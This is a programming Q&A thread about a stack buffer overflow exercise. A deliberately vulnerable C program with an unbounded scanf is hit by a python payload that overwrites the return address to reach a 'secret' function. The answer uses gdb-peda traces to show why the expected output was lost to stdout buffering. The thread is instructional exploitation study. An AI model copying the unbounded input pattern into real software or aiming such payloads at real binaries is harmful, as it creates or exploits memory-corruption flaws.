0
#include<stdio.h>
void secret(){
  printf("entered secret function");
}
void return_input()
{
  char array[60];
  scanf("%s", array);
  printf("%s\n",array);
}
int main()
{
  return_input();
  return 0;
}

used this command

gcc overflowtest.c -o overflowtest -fno-stack-protector -m32

When I did a objdump, I found that the secret function is located at 0x0804848b and 68 bytes is allocated to array, next 4 bytes stores ebp of previous stack frame, and the next following 4 bytes the return address

I tried to replace the return address this way

python -c 'print "a"*72 + "\x8b\x84\x04\x08"' | ./overflowtest

But it says aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�� Segmentation fault (core dumped)

enter image description here enter image description here

  • 2
    Use gdb to debug your program and see if everything is where you think it is. – YoMismo Aug 27 '18 at 13:15
  • 1) please consistently indent/format your code, indent after every opening brace '{', unindent before every closing brace '}', Suggest each indent level be 4 spaces, 2) separate code blocks: for if else while do...while switch case default via a single blank line 3) separate functions by 2 or 3 blank lines (be consistent) – user3629249 Aug 28 '18 at 6:27
  • there are only two valid signatures for main() they are: int main( void ) and int main( int argc, char *argv[[] ) Notice they all have a return type of int, not void – user3629249 Aug 28 '18 at 6:30
  • 1) when calling scanf() with either the '%s' and/or the %[...] input format specifiers, always include a MAX CHARACTERS modifier that is 1 less than the length of the input buffer. This is because both of those specifiers always append a NUL byte to the input. This also avoids any possibility of a buffer overflow. 2) always check the returned value (not the parameter values) to assure the operation was successful – user3629249 Aug 28 '18 at 6:34
  • 1
    Stack is differently aligned in gdb and outside of it – Tryna Learn Somethin Aug 28 '18 at 9:10
1

This was a fun question to explore.

I tried the exploit and I got the same output. I just got a SegFault but was expecting "entered secret function" and a SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)

I opened up the program using gdb and tried to understand what is happening. I set a breakpoint at return_input.

$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt 

Look at the following state:

[-------------------------------------code-------------------------------------]
   0x80484ca <return_input+38>: add    esp,0x10
   0x80484cd <return_input+41>: nop
   0x80484ce <return_input+42>: leave  
=> 0x80484cf <return_input+43>: ret    
   0x80484d0 <main>:    lea    ecx,[esp+0x4]
   0x80484d4 <main+4>:  and    esp,0xfffffff0
   0x80484d7 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x80484da <main+10>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>:   push   ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1 
0012| 0xffffcc88 --> 0x0 
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>:   add    esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0 
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0 
0028| 0xffffcc98 --> 0x0 
[------------------------------------------------------------------------------]

Notice that the next instruction to be executed is the ret instruction. The top of the stack has the address of secret. This is exactly what we wanted. So, no problems till here.

The following is the gdb-peda state just before the printf inside secret function is executed.

[-------------------------------------code-------------------------------------]
   0x804848e <secret+3>:    sub    esp,0x8
   0x8048491 <secret+6>:    sub    esp,0xc
   0x8048494 <secret+9>:    push   0x8048580
=> 0x8048499 <secret+14>:   call   0x8048340 <printf@plt>
   0x804849e <secret+19>:   add    esp,0x10
   0x80484a1 <secret+22>:   nop
   0x80484a2 <secret+23>:   leave  
   0x80484a3 <secret+24>:   ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")

Now, printf will get executed. The top of stack has the Address of the string it has to print. All good till now.

I executed printf and checked for "entered secret function" output.

gdb-peda$ ni

Here is the problem. Even if printf got executed, the string didn't get printed on the console.

So, we can conclude that the exploitation was done properly.

Let us understand why printf didn't print that string to console output.

printf and many such output functions work in the following manner.

  1. When printf is executed, the contents inside it is not directly printed out on the console. Instead, it is buffered in a buffer.

    printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)
    
  2. Later, the buffer is flushed and everything is printed out on the console.

  3. As explained in this answer, the buffer gets flushed only when certain conditions are reached.

    • The buffer is flushed if it is full.
    • It is flushed if newline is encountered.
    • It is flushed if the program comes to an end.
    • It is flushed if we force flush it using the fflush function.

Coming back to the question at hand,

  1. The printf("entered secret function") is executed and the string is put into the OUTPUT_BUFFER.

  2. If the overflowtest terminated normally, the OUTPUT_BUFFER would have got flushed. But because of the exploit, it got terminated because of a SegFault. So, the buffer was not flushed. So, you didn't see "entered secret function" .

The puts function doesn't work like this. It appends a \n / newline character to the string. So, that string is immediately seen on the console.

So, if you want to see "entered secret function", then add a newline character to it - "entered secret function\n" or add a fflush(stdout) after printf.

I hope I has answered your question.

If anything is not clear, please leave a comment below.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.